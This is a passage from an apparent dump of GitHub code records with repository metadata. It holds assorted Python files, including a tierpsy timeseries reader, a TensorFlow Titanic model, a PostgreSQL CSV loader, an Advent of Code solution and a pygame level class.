timeseries from a *featuresN.hdf5 file from tierpsy.\n Input:\n filename = name of file\n names = names of timeseries to read.\n If none, all timeseries will be read\n only_wells = list of well_names to read from the featuresN.hdf5 file.\n If None, the timeseries will not be filtered by well\n (good for legacy data)\n \"\"\"\n if only_wells is not None:\n assert isinstance(only_wells, list), 'only_wells must be a list, or None'\n assert all(isinstance(well, str) for well in only_wells), \\\n 'only_wells must be a list of strings'\n with pd.HDFStore(filename, 'r') as f:\n if only_wells is None:\n series = f['timeseries_data']\n else:\n query_str = 'well_name in {}'.format(only_wells)\n series = f['timeseries_data'].query(query_str)\n if names is None:\n return series\n else:\n return series[names]\n\n\n#%% helper functions\ndef select_filenames(filenames, select_keywords, drop_keywords):\n \"\"\"\n Filter the filenames list based on keywords\n Input:\n filenames = a dataframe of filenames and file_ids\n select_keywords = list of strings. Files that contain any of\n these strings in the relative file path\n will be selected\n drop_keywords = list of strings. Files that contain any of\n these strings in the relative file path\n will be ignored\n \"\"\"\n from os.path import relpath\n\n if select_keywords is None and drop_keywords is None:\n return filenames\n\n filenames['_relative_path'] = filenames['file_name'].apply(\n lambda x: relpath(x, root_dir))\n\n if select_keywords is not None:\n if isinstance(select_keywords, str):\n select_keywords = [select_keywords]\n\n keep = filenames['_relative_path'].apply(\n lambda x:\n True if np.any([kwrd in x for kwrd in select_keywords])\n else False)\n\n filenames = filenames.loc[keep, :]\n\n if drop_keywords is not None:\n if isinstance(select_keywords, str):\n drop_keywords = [drop_keywords]\n\n drop = filenames['_relative_path'].apply(\n lambda x:\n False if np.any([kwrd in x for kwrd in drop_keywords])\n else True)\n\n filenames = filenames.loc[drop, :]\n\n filenames.drop(columns=['_relative_path'])\n filenames.reset_index(drop=True)\n\n return filenames\n\ndef get_filenames(root_dir):\n \"\"\"\n Find all *featuresN.hdf5 files under root_dir\n Input:\n root_dir = path to results root directory\n Return:\n filenames = dataframe listing *featuresN.hdf5 file paths and assigning\n file_id to each file (tierpsy format)\n \"\"\"\n from pathlib import Path\n\n file_list = Path(root_dir).rglob('*featuresN.hdf5')\n file_list = [str(file) for file in file_list]\n\n filenames = pd.DataFrame(file_list, columns=['file_name'])\n filenames.insert(0, 'file_id', np.arange(len(file_list)))\n\n return filenames\n\n#%% testing\nif __name__ == \"__main__\":\n\n root_dir = (\"/Volumes/behavgenom$/Adam/Screening/\"\n + \"Syngenta_multi_dose/18-11-13-SYN/Results\")\n\n filenames = get_filenames(root_dir)\n filenames = select_filenames(filenames, None, ['Set2'])\n feat_file = (\"/Volumes/behavgenom$/Adam/Screening/Syngenta_multi_dose/\"\n + \"18-11-13-SYN/Results/18-11-13_SYN_AMR_1/Set2/\"\n + \"Set2_Ch2_13112018_192908_featuresN.hdf5\")\n # series = read_timeseries(feat_file)\n","repo_name":"Tierpsy/tierpsy-tools-python","sub_path":"tierpsytools/read_data/get_timeseries.py","file_name":"get_timeseries.py","file_ext":"py","file_size_in_byte":5453,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"14790968362","text":"# anpeilen.py\n# Michael Weigend\n# Raspberry Pi programmieren mit Python 3. Auflage, mitp 2016\n# Kap. 2\n# Michael Weigend 20. April 2016\n#----------------------------------------------------\n\nfrom math import tan, radians\n\n# Eingabe \n\nhöhe = input(\"Höhe des Winkelmessers gegenüber dem Boden (m): \")\nentfernung = input(\"Entfernung vom Gebäude (m): \")\nwinkel = input(\"Winkel (Grad): \")\n\n# Verarbeitung\nh = float(höhe)\ne = float(entfernung)\nalpha = radians(float(winkel))\ngebäudehöhe = h + e*tan(alpha)\n\n# Ausgabe\nprint(\"Das Gebäude ist\", round(gebäudehöhe, 2), \"m hoch.\")\n\n\n","repo_name":"Eskimo-SVD/Oliver_private_Bude","sub_path":"9783958459120-Pi-Python/programme_auflage_4/kap-2/anpeilen.py","file_name":"anpeilen.py","file_ext":"py","file_size_in_byte":630,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"73542550167","text":"from models import User, Messages, Product, Order, Order_items, Payment\nimport time\nfrom datetime import datetime\nfrom loader import session\n\n\ndef get_user_id(telegram_id):\n user = session.query(User).filter_by(telegram_id=telegram_id).first()\n return user\n\n\n# print(get_user_id(345345345))\n\n\ndef add_user(telegram_id, user_name, full_name, date):\n new_user = User(\n telegram_id=telegram_id,\n user_name=user_name,\n full_name=full_name,\n # registration_date = date\n balance=0,\n actyvity=False\n )\n session.add(new_user)\n session.commit()\n\n\ndef add_message(message):\n telegram_id = message.chat.id\n user_name = message.chat.username\n full_name = message.chat.full_name\n text_message = message.text\n date = message.date\n\n user = session.query(User).filter_by(telegram_id=telegram_id).first()\n\n if user is None:\n add_user(telegram_id, user_name, full_name, date)\n user = session.query(User).filter_by(telegram_id=telegram_id).first()\n new_message = Messages(\n telegram_id = user.telegram_id,\n # date=date,\n text_message=text_message\n )\n session.add(new_message)\n session.commit()\n\n\n\n","repo_name":"shibzuko/bot_shop","sub_path":"utils/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69894477849","text":"from __future__ import absolute_import, division, print_function\n\nimport os\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nimport tensorflow.contrib.eager as tfe\ntf.enable_eager_execution()\n\nprint(\"TensorFlow version: {}\".format(tf.VERSION))\nprint(\"Eager execution: {}\".format(tf.executing_eagerly()))\nimport pandas as pd\n\n\n\nclass_names = [1,0]\n\ndef get_data_set(data_url=\"\", shuffle=False) :\n\n dataset_fp = tf.keras.utils.get_file(fname=os.path.basename(data_url),\n origin=data_url)\n dataset__cleansed_fp =\"cleansed.csv\"\n df = pd.read_csv(dataset_fp)\n df.Name = pd.factorize(df.Name)[0]\n df.Cabin = pd.factorize(df.Cabin)[0]\n df.Sex = pd.factorize(df.Sex)[0]\n df.Embarked = pd.factorize(df.Embarked)[0]\n df.Ticket = pd.factorize(df.Ticket)[0]\n df.Fare = pd.factorize(df.Fare)[0]\n df.Age = pd.factorize(df.Age)[0]\n df.to_csv(dataset__cleansed_fp, index=False)\n\n print(\"Local copy of the dataset file: {}\".format(dataset_fp))\n\n # column order in CSV file\n column_names = ['PassengerId','Survived','Pclass','Name','Sex','Age','SibSp','Parch','Ticket','Fare','Cabin','Embarked']\n\n feature_names = ['PassengerId','Pclass','Name','Sex','Age','SibSp','Parch','Ticket','Fare','Cabin','Embarked']\n label_name = 'Survived'\n\n print(\"Features: {}\".format(feature_names))\n print(\"Label: {}\".format(label_name))\n\n\n batch_size = 32\n train_dataset = tf.contrib.data.make_csv_dataset(\n dataset__cleansed_fp,\n batch_size,\n column_names=column_names,\n label_name=label_name,\n num_epochs=1)\n\n\n features, labels = next(iter(train_dataset))\n #print(features[:5])\n train_dataset = train_dataset.map(pack_features_vector)\n features, labels = next(iter(train_dataset))\n print(features[:5])\n return train_dataset, features, labels\n\n\ndef pack_features_vector(features, labels):\n \"\"\"Pack the features into a single array.\"\"\"\n features = tf.stack(list(features.values()), axis=1)\n return features, labels\n\n\ndef train_model(train_dataset, features,labels):\n model = tf.keras.Sequential([\n tf.keras.layers.Dense(10000, activation=tf.nn.relu, input_shape=(11,)), # input shape required\n tf.keras.layers.Dense(10000, activation=tf.nn.relu),\n tf.keras.layers.Dense(10000, activation=tf.nn.relu),\n tf.keras.layers.Dense(10000, activation=tf.nn.softmax),\n tf.keras.layers.Dense(2)\n ])\n\n predictions = model(tf.cast(features,tf.float32))\n predictions[:5]\n\n tf.nn.softmax(predictions[:5])\n\n\n\n print(\"Prediction: {}\".format(tf.argmax(predictions, axis=1)))\n print(\" Labels: {}\".format(labels))\n\n\n\n optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.001)\n\n global_step = tf.train.get_or_create_global_step()\n\n loss_value, grads = grad(model, tf.cast(features,tf.float32), labels)\n\n print(\"Step: {}, Initial Loss: {}\".format(global_step.numpy(),\n loss_value.numpy()))\n\n optimizer.apply_gradients(zip(grads, model.variables), global_step)\n\n print(\"Step: {}, Loss: {}\".format(global_step.numpy(),\n loss(model, tf.cast(features,tf.float32), labels).numpy()))\n\n ## Note: Rerunning this cell uses the same model variables\n\n # keep results for plotting\n train_loss_results = []\n train_accuracy_results = []\n\n num_epochs = 1000\n with tf.device(\"/gpu:0\"):\n\n for epoch in range(num_epochs):\n epoch_loss_avg = tfe.metrics.Mean()\n epoch_accuracy = tfe.metrics.Accuracy()\n\n # Training loop - using batches of 32\n for x, y in train_dataset:\n # Optimize the model\n x = tf.cast(x, tf.float32)\n loss_value, grads = grad(model, x, y)\n optimizer.apply_gradients(zip(grads, model.variables),\n global_step)\n\n # Track progress\n epoch_loss_avg(loss_value) # add current batch loss\n # compare predicted label to actual label\n epoch_accuracy(tf.argmax(model(x), axis=1, output_type=tf.int32), y)\n\n # end epoch\n train_loss_results.append(epoch_loss_avg.result())\n train_accuracy_results.append(epoch_accuracy.result())\n\n if epoch % 2 == 0:\n print(\"Epoch {:03d}: Loss: {:.3f}, Accuracy: {:.3%}\".format(epoch,\n epoch_loss_avg.result(),\n epoch_accuracy.result()))\n\n fig, axes = plt.subplots(2, sharex=True, figsize=(12, 8))\n fig.suptitle('Training Metrics')\n\n axes[0].set_ylabel(\"Loss\", fontsize=14)\n axes[0].plot(train_loss_results)\n\n axes[1].set_ylabel(\"Accuracy\", fontsize=14)\n axes[1].set_xlabel(\"Epoch\", fontsize=14)\n axes[1].plot(train_accuracy_results);\n return model\n\ndef loss(model, x, y):\n y_ = model(x)\n return tf.losses.sparse_softmax_cross_entropy(labels=y, logits=y_)\n\n\n#l = loss(model, tf.cast(features,tf.float32), labels)\n#print(\"Loss test: {}\".format(l))\n\ndef grad(model, inputs, targets):\n with tf.GradientTape() as tape:\n loss_value = loss(model, inputs, targets)\n return loss_value, tape.gradient(loss_value, model.trainable_variables)\n\n\n\ndef validate_model(model, validate_dataset, features, labels):\n\n\n #validate_dataset = validate_dataset.map(pack_features_vector)\n test_accuracy = tfe.metrics.Accuracy()\n\n for (x,y) in validate_dataset:\n x= tf.cast(x,tf.float32)\n logits = model(x)\n prediction = tf.argmax(logits, axis=1, output_type=tf.int32)\n test_accuracy(prediction, y)\n\n print(prediction)\n print(y)\n print(\"Validate set accuracy: {:.3%}\".format(test_accuracy.result()))\n\n\n tf.stack([y,prediction],axis=1)\n\n\ndef predict():\n test_url = \"https://s3.amazonaws.com/chandan-kaggle-datasets/titanic/test.csv\"\n test_fp = tf.keras.utils.get_file(fname=os.path.basename(test_url),origin=test_url)\n test_dataset_cleansed = \"test_new.csv\"\n\n df_test = pd.read_csv(test_fp)\n print(df_test.head())\n df_test.Name = pd.factorize(df_test.Name)[0]\n df_test.Cabin = pd.factorize(df_test.Cabin)[0]\n df_test.Sex = pd.factorize(df_test.Sex)[0]\n df_test.Embarked = pd.factorize(df_test.Embarked)[0]\n df_test.Ticket = pd.factorize(df_test.Ticket)[0]\n df_test.Fare = pd.factorize(df_test.Fare)[0]\n df_test.Age = pd.factorize(df_test.Age)[0]\n df_test.to_csv(test_dataset_cleansed, index=False)\n\n test_dataset = tf.convert_to_tensor(df_test)\n\n\n\n test_accuracy = tfe.metrics.Accuracy()\n\n logits = model(test_dataset)\n\n\n# Pre Process Training Data\ntrain_dataset, features, labels = get_data_set(\"https://s3.amazonaws.com/chandan-kaggle-datasets/titanic/train.csv\", shuffle=False)\n# Train Model\nmodel = train_model(train_dataset, features, labels)\n# Prepare Dev Data\nvalidate_dataset, features, labels = get_data_set(\"https://s3.amazonaws.com/chandan-kaggle-datasets/titanic/train.csv\",shuffle=True)\n# Validate with Dev Data\nvalidate_model(model, validate_dataset,features,labels)\n# Validate Model with Dev Data\n# Do Something\n# Prepare Test Data\n# Do something\n# Predict on Test Data\n# Do something\n\n\n\n\n\n\n\n\n\n","repo_name":"chandanmaruthi/kaggle","sub_path":"titanic/titanic_tensorflow.py","file_name":"titanic_tensorflow.py","file_ext":"py","file_size_in_byte":7354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40968334916","text":"# -*- coding: utf-8 -*-\n\nfrom guietta import _, Gui, Quit\n\n# Compact definitions:\n# Labels are just strings (now standard)\n# A button is a string between square parenthesis (a 1-element sequence)\n# an edit box is a string with double underscores\n\ngui = Gui(\n \n [ 'Enter expression:', '__expr__' , ['Eval!'] ],\n [ 'Result:' , 'result' , _ ],\n [ _ , _ , Quit ] )\n\ngui.run()\n\nprint('Result: ', gui.result)","repo_name":"alfiopuglisi/guietta","sub_path":"guietta/examples/compact.py","file_name":"compact.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":1938,"dataset":"github-code","pt":"31"} +{"seq_id":"14866845110","text":"import time\nimport settings\nfrom slackclient import SlackClient\n\nsc = SlackClient(settings.TOKEN)\nif sc.rtm_connect():\n while True:\n print(sc.rtm_read())\n time.sleep(1)\nelse:\n print(\"Connection Failed, invalid token?\")","repo_name":"siukwai/slackretary","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2899691638","text":"import psycopg2\nimport sys\nimport time\nimport psycopg2.sql as sql\nfrom scripts.csv_to_batches import csv_to_batches\nfrom scripts.batches_to_table import batch_to_table\nfrom scripts.small_funcs import *\n\n\ndef try_connect():\n for i in range(10):\n try:\n conn = psycopg2.connect(dbname=dbname, user=user, password=password, host=host, port=port)\n return conn\n except Exception as e:\n print(e)\n print(\"Trying to reconnect...\")\n time.sleep(5)\n exit()\n\n\ndef batches_to_table(idx):\n errors = 0\n conn = psycopg2.connect(dbname=dbname, user=user, password=password, host=host, port=port)\n cursor = conn.cursor()\n errors = 0\n while len(batches[idx:]) > 0:\n try:\n fields = sql.SQL(\", \").join([sql.Identifier(i.lower()) for i in head])\n for batch in batches[idx:]:\n batch_to_table(batch, \"zno_stats\", fields, cursor)\n\n conn.commit()\n inserted_batches.append(batch)\n idx += 1\n state[\"insertions\"] = f\"{idx}/{len(batches)}\"\n write_state(state)\n\n except (psycopg2.ProgrammingError, psycopg2.DataError) as e:\n conn.rollback()\n print(e)\n time.sleep(5)\n errors += 1\n if errors > 20:\n exit()\n\n except psycopg2.OperationalError as e:\n print(e)\n print(\"Trying to reconnect...\")\n errors += 1\n time.sleep(5)\n conn = try_connect()\n cursor = conn.cursor()\n\n print(\"Completed.\\n\")\n\n\nstate = get_state()\nprint_state(state)\n\ndbname, user, password, host, port = sys.argv[1:]\n\nconn = psycopg2.connect(dbname=dbname, user=user, password=password, host=host, port=port)\ncursor = conn.cursor()\n\nfile_to_extcact_head = os.listdir(datasets_path)[0]\nhead = extract_header(os.path.join(datasets_path, file_to_extcact_head), \";\")\nhead.insert(0, \"year\")\ninserted_batches = []\n\nif state[\"status\"] == \"EMPTY_DATABASE\":\n if os.path.exists(batches_path):\n files = os.listdir(batches_path)\n for file in files:\n os.remove(os.path.join(batches_path, file))\n os.rmdir(batches_path)\n\n print(\"Division into batches...\")\n os.mkdir(batches_path)\n batch_division_time1 = time.time()\n datasets = os.listdir(datasets_path)\n\n ctr = 1\n for dataset in datasets:\n ctr = csv_to_batches(os.path.join(datasets_path, dataset), batches_path, batch_rows, encoding, ctr)\n batches = os.listdir(batches_path)\n\n state[\"batches\"] = f\"{len(batches)}\"\n write_state(state)\n\n batches = sorted(batches, key=lambda x: extract_number(x))\n batches = [os.path.join(batches_path, batch) for batch in batches]\n batch_division_time2 = time.time()\n\n print(\"Completed.\\n\")\n\n state[\"status\"] = \"INSERTION_IS_NOT_FINISHED\"\n write_state(state)\n\n print(\"Inseting into database...\")\n\n sql_insetrion_time1 = time.time()\n create_query = extract_text(os.path.join(sql_queries_path, \"CREATE.sql\"))\n cursor.execute(create_query)\n conn.commit()\n\n inserted_batches = []\n batches_to_table(0)\n\n print(\"Completed.\\n\")\n sql_insetrion_time2 = time.time()\n state[\"status\"] = \"TABLE_POPULATED\"\n write_state(state)\n\n query_execution_time1 = time.time()\n\n store_query(cursor, \"query.sql\", \"query_data.csv\", [\"Регіон\", \"Рік\", \"Середній бал з англійскої мови\"])\n\n query_execution_time2 = time.time()\n\n batch_division_time = seconds_to_minutes(batch_division_time2 - batch_division_time1)\n sql_insetrion_time = seconds_to_minutes(sql_insetrion_time2 - sql_insetrion_time1)\n query_execution_time = seconds_to_minutes(query_execution_time2 - query_execution_time1)\n\n logfile = os.path.join(logs_path, \"time_log.log\")\n\n with open(logfile, \"w\", encoding=\"UTF-8\") as f:\n f.write(\"{}/{} files was inserted.\\n\".format(len(inserted_batches), len(batches)))\n f.write(\"Batch division: {}\\n\".format(batch_division_time))\n f.write(\"SQL insertion: {}\\n\".format(sql_insetrion_time))\n f.write(\"Query execution and writing to csv: {}\\n\".format(query_execution_time))\n\n print(\"Log file stored in {}.\".format(logfile))\n\n\nelif state[\"status\"] == \"INSERTION_IS_NOT_FINISHED\":\n batches = os.listdir(batches_path)\n batches = sorted(batches, key=lambda x: extract_number(x))\n batches = [os.path.join(batches_path, batch) for batch in batches]\n\n (insetred, total) = get_splitted_nums(state[\"insertions\"])\n batches_to_table(insetred)\n state[\"status\"] = \"TABLE_POPULATED\"\n write_state(state)\n\n\nelif state[\"status\"] == \"TABLE_POPULATED\":\n conn = psycopg2.connect(dbname=dbname, user=user, password=password, host=host, port=port)\n cursor = conn.cursor()\n op = \"\"\n while op != \"3\":\n print_state(state)\n\n print(\"1. Execute sql query.\\n\"\n \"2. Drop table.\\n\"\n \"3. Exit.\")\n\n op = input(\"Choose the option: \")\n if op == \"1\":\n store_query(cursor, \"query.sql\", \"query_data.csv\", [\"Регіон\", \"Рік\", \"Середній бал з англійскої мови\"])\n elif op == \"2\":\n cursor.execute(\"DROP TABLE zno_stats;\")\n conn.commit()\n state[\"status\"] = \"EMPTY_DATABASE\"\n state[\"batches\"] = \"\"\n state[\"insertions\"] = \"\"\n write_state(state)\n print(\"Table has dropped.\")\n break\n cursor.close()\n conn.close()\n","repo_name":"SulJis/dbis_lab1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15424320712","text":"a=33\r\nb=33\r\nif a>b:\r\n print('a is greater then b ')\r\nelif a==b:\r\n print('a and b are equal')\r\nelse:\r\n print('b is greater than a \\n')\r\n\r\nx=3\r\ny=11\r\nprint('X and Y are equal') if x==y else print('x and y are unequal')\r\n\r\nprint('x') if x>y else print('=') if x==y else print('y')\r\n\r\nif x>2 and y<7: print('X and Y are fine')\r\n\r\nif x>9 or y<9:\r\n print('acceptable')\r\nelse:\r\n print('unacceptable')\r\n\r\nif y___.html\n title: The title prefix to use if save_dir is specified.\n mode: What mode(s) to execute this Trace in. For example, \"train\", \"eval\", \"test\", or \"infer\". To execute\n regardless of mode, pass None. To execute in all modes except for a particular one, you can pass an argument\n like \"!infer\" or \"!train\".\n ds_id: What dataset id(s) to execute this Trace in. To execute regardless of ds_id, pass None. To execute in all\n ds_ids except for a particular one, you can pass an argument like \"!ds1\".\n \"\"\"\n def __init__(self,\n columns: Sequence[BatchDisplay],\n batch_limit: Optional[int] = None,\n frequency: Union[None, int, str] = None,\n save_dir: Optional[str] = None,\n title: str = \"grid\",\n mode: Union[None, str, Iterable[str]] = None,\n ds_id: Union[None, str, Iterable[str]] = None):\n inputs = set()\n for column in columns:\n inputs.update(column.inputs)\n super().__init__(inputs=inputs, mode=mode, ds_id=ds_id)\n self._columns = columns\n self.frequency = None if frequency is None else parse_freq(frequency)\n self.save_dir = save_dir\n self.title = title\n self.batch_limit = batch_limit\n if self.save_dir is not None:\n self.save_dir = os.path.normpath(os.path.abspath(self.save_dir))\n os.makedirs(self.save_dir, exist_ok=True)\n\n def on_begin(self, data: Data) -> None:\n if self.frequency is None:\n self.frequency = parse_freq(self.system.log_steps)\n for column in self._columns:\n column.system = self.system\n\n def on_batch_end(self, data: Data) -> None:\n # Use the global step to match system logging behavior during train, but fall back to batch_idx for eval/test\n current_step = self.system.global_step if self.system.mode == 'train' else self.system.batch_idx\n if self.frequency.freq and self.frequency.is_step and current_step % self.frequency.freq == 0:\n columns = [col.make_image(data, batch_limit=self.batch_limit) for col in self._columns]\n display = GridDisplayF(columns=columns)\n if self.save_dir is None:\n display.show()\n else:\n filename = f'{self.title}_{self.system.mode}_{self.system.epoch_idx}_{self.system.batch_idx}.html'\n display.show(save_path=os.path.join(self.save_dir, filename))\n\n def on_epoch_end(self, data: Data) -> None:\n if self.frequency.freq and not self.frequency.is_step and self.system.epoch_idx % self.frequency.freq == 0:\n columns = [col.make_image(data, batch_limit=self.batch_limit) for col in self._columns]\n display = GridDisplayF(columns=columns)\n if self.save_dir is None:\n display.show()\n else:\n filename = f'{self.title}_{self.system.mode}_{self.system.epoch_idx}_{self.system.batch_idx}.html'\n display.show(save_path=os.path.join(self.save_dir, filename))\n","repo_name":"fastestimator/fastestimator","sub_path":"fastestimator/trace/io/grid_display.py","file_name":"grid_display.py","file_ext":"py","file_size_in_byte":4579,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"31"} +{"seq_id":"74143240408","text":"# -*- coding: ISO-8859-1 -*-\n# Kommentaren over gjør slik at vi kan skrive æ, �� og å i python\n\nimport csv # modul for lesing av csv data\n\n# (filnavn, parametere) returnerer et objekt i samme mappe som python dokumentet\n# passer på at objektet fjernes fra minne etter with blokken\n# \"rb\", hvor \"r\" står for \"read\" og \"b\" står for \"binary\", må ikke være med. Les mer om parametere her:\n# https://www.programiz.com/python-programming/methods/built-in/open\nwith open('corona.csv', 'rb') as csvfile:\n # returnerer et objekt av verdier, lest fra filen i minnet\n # \"delimeter\" forteller hva som splitter dataen. I en CSV (Comma Separated Values), er det som oftest ','\n reader = csv.reader(csvfile, delimiter=',')\n\n # printer hver rekke fra csv filen\n for row in reader:\n # printer en rekke ved å \"join\"e en array/liste\n # hvert array element blir lagt sammen som en string, og mellom hver av\n # dem kommer ' -- ' stringen. Prøv å bytte det ut med noe annet\n print(' -- '.join(row))\n","repo_name":"tonystr/Python","sub_path":"load_csv.py","file_name":"load_csv.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38449437580","text":"\"\"\"\nAdvent of code challenge 2022\n>> python3 main.py < in\nPart 1 - 67390\nPart 2 - 95291\n\nAssuming grid that goes like:\nO--------> + x\n|\n|\n|\nV \n+ y\n\"\"\"\n\nimport sys\nsys.path.insert(0, '/'.join(__file__.replace('\\\\', '/').split('/')[:-2]))\nfrom _utils.print_function import print_function\nimport itertools as it\nfrom dataclasses import dataclass, field\nfrom collections import defaultdict\nimport re\nimport numpy as np\nfrom pprint import pprint\nfrom functools import cache\n\nDIR_SCORE = {\n (1, 0): 0, # >\n (0, 1): 1, # v\n (-1, 0): 2, # <\n (0, -1): 3, # ^\n}\n\ndef rotate(dir: tuple, lr: str) -> tuple:\n return (-dir[1], dir[0]) if lr == 'R' else (dir[1], -dir[0])\n\n\ndef out_of_bounds(x: int, y: int, lines: list) -> bool:\n if 0 <= x < len(lines[0]) and 0 <= y < len(lines):\n return lines[y][x] == ' '\n return True\n\n@print_function()\ndef find_last_position(lines: list, input: list, cube: bool = True, log: bool = False) -> int:\n console = lambda *x: print(*x) if log else lambda *x: None\n x, y, dir = lines[0].index('.'), 0, (1, 0)\n\n for command_idx, command in enumerate(input[:]):\n console('{}: (pos, dir, command) = {}'.format(command_idx, ((x, y), dir, command)))\n if command in ['R', 'L']:\n dir = rotate(dir, command)\n continue\n for idx in range(int(command)):\n # Move one step at a time\n dx, dy = dir\n next_dir = dir\n next_x, next_y = x + dx, y + dy\n if not cube:\n # Manage wrapping around (Part 1)\n while lines[(y + dy) % len(lines)][(x + dx) % len(lines[0])] == ' ':\n dx += dir[0]\n dy += dir[1]\n next_x, next_y = (x + dx) % len(lines[0]), (y + dy) % len(lines)\n else:\n # Manage wrapping around (Part 2)\n if out_of_bounds(next_x, next_y, lines):\n # First find the current face\n face_x = x % 50\n face_y = y % 50\n if x // 50 == 0 and y // 50 == 2:\n # Black\n if dx < 0:\n next_x, next_y = 50, 49 - face_y\n next_dir = (1, 0)\n elif dy < 0:\n next_x, next_y = 50, 50 + face_x\n next_dir = (1, 0)\n elif x // 50 == 0 and y // 50 == 3:\n # Green\n if dx < 0:\n next_x, next_y = 50 + face_y, 0\n next_dir = (0, 1)\n elif dx > 0:\n next_x, next_y = 50 + face_y, 149\n next_dir = (0, -1)\n elif dy > 0:\n next_x, next_y = 100 + face_x, 0\n next_dir = (0, 1)\n elif x // 50 == 1 and y // 50 == 0:\n # White\n if dx < 0:\n next_x, next_y = 0, 149 - face_y\n next_dir = (1, 0)\n elif dy < 0:\n next_x, next_y = 0, 150 + face_x\n next_dir = (1, 0)\n elif x // 50 == 1 and y // 50 == 1:\n # Blue\n if dx < 0:\n next_x, next_y = face_y, 100\n next_dir = (0, 1)\n elif dx > 0:\n next_x, next_y = 100 + face_y, 49\n next_dir = (0, -1)\n elif x // 50 == 1 and y // 50 == 2:\n # Yellow\n if dx > 0:\n next_x, next_y = 149, 49 - face_y\n next_dir = (-1, 0)\n elif dy > 0:\n next_x, next_y = 49, 150 + face_x\n next_dir = (-1, 0)\n elif x // 50 == 2 and y // 50 == 0:\n # Red\n if dx > 0:\n next_x, next_y = 99, 149 - face_y\n next_dir = (-1, 0)\n elif dy < 0:\n next_x, next_y = face_x, 199\n next_dir = (0, -1)\n elif dy > 0:\n next_x, next_y = 99, 50 + face_x\n next_dir = (-1, 0)\n console(' Changed cube face: {} -> {}'.format(\n (x, y, dir), (next_x, next_y, next_dir))\n )\n\n # Manage walls\n if lines[next_y][next_x] == '#':\n console(' Brick at {}'.format((next_x, next_y)))\n break\n elif lines[next_y][next_x] == '.':\n x, y, dir = next_x, next_y, next_dir\n console('(pos, dir, command) =', ((x, y), dir, 'DONE'))\n\n return 1000 * (y + 1) + 4 * (x + 1) + DIR_SCORE[dir]\n\n\nif __name__ == '__main__':\n \"\"\"Executed if file is executed but not if file is imported.\"\"\"\n lines = sys.stdin.read().split('\\n')\n\n input = re.findall('[0-9]+|[LR]', lines[-1])\n lines.pop()\n lines.pop()\n width = max([len(line) for line in lines])\n lines = [line + ' ' * (width - len(line)) for line in lines]\n\n find_last_position(lines, input, False)\n find_last_position(lines, input, True)","repo_name":"WagenaarD/Advent-of-code-2022","sub_path":"day_22/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22562719997","text":"import logging\n\nfrom starlette.config import Config\n\nconfig = Config(\".env\")\n\nENV = config(\"ENV\", default=\"local\")\nDEBUG = config(\"DEBUG\", default=True)\nLOG_LEVEL = config(\"LOG_LEVEL\", default=logging.DEBUG)\nlogging.basicConfig(\n format=\"%(asctime)s,%(msecs)d %(levelname)-8s [%(pathname)s:%(lineno)d] %(message)s\",\n datefmt=\"%Y-%m-%d:%H:%M:%S\",\n filename=\"all.log\",\n level=LOG_LEVEL,\n)\n\nSQL_DB_URI = config(\"SQL_DB_URI\", default=\"sqlite:///./sql_app.db\")\n","repo_name":"RaphOb/booking","sub_path":"api/booking/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38898998536","text":"from Enemy import *\nfrom Platform import *\nfrom Enemy_Sprite import *\nfrom Heart_Sprites import *\nfrom Coin_Sprite import *\n\nfrom Projectile_Sprite import *\n\n\nclass Level:\n world_shift = 0\n level_limit = 0\n\n def __init__(self, player):\n self.background = None\n self.enemy_list = pygame.sprite.Group()\n self.platform_list = pygame.sprite.Group()\n self.health_bar = pygame.sprite.Group()\n self.coins = pygame.sprite.Group()\n self.coins_needed = pygame.sprite.Group()\n self.player = player\n self.hardmode = False\n self.coinsNeeded\n\n def getEnemies(self):\n return self.enemy_list\n\n def getPlatforms(self):\n return self.platform_list\n\n def getPlayer(self):\n return self.player\n\n def isHardMode(self):\n return self.hardmode\n\n # Define number of coins needed to win\n def coinsNeeded(self, num):\n self.coinsNeeded = num\n\n def draw(self, screen):\n screen.fill((0, 0, 255))\n screen.blit(self.background, (self.world_shift // 3, 0))\n self.platform_list.draw(screen)\n self.enemy_list.draw(screen)\n self.health_bar.draw(screen)\n self.coins.draw(screen)\n self.coins_needed.draw(screen)\n\n def update(self):\n self.platform_list.update()\n self.enemy_list.update()\n self.coins.update()\n\n def shift_world(self, shift_x):\n self.world_shift += shift_x\n for platform in self.platform_list:\n platform.rect.x += shift_x\n\n for enemy in self.enemy_list:\n enemy.rect.x += shift_x\n\n for coin in self.coins:\n coin.rect.x += shift_x\n\n def addEnemies(self, enemies):\n for enemy in enemies:\n if enemy[0] == BASIC_ENEMY:\n type = BasicEnemy()\n elif enemy[0] == SHOOTING_ENEMY:\n type = ShootingEnemy()\n\n p = Projectile_Sprite(PROJECTILE, type)\n if type.getDirection() == \"L\":\n p.rect.x = enemy[1] - 30\n p.boundary = p.rect.y - 20\n else:\n p.rect.x = enemy[1] + 50\n p.boundary = p.rect.y + 20\n p.origPos = p.rect.x\n p.rect.y = enemy[2] + 55\n p.player = self.player\n p.level = self\n self.enemy_list.add(p)\n\n elif enemy[0] == BOSS_ENEMY:\n type = BossEnemy()\n elif enemy[0] == BOMB:\n type = Bomb()\n\n en = 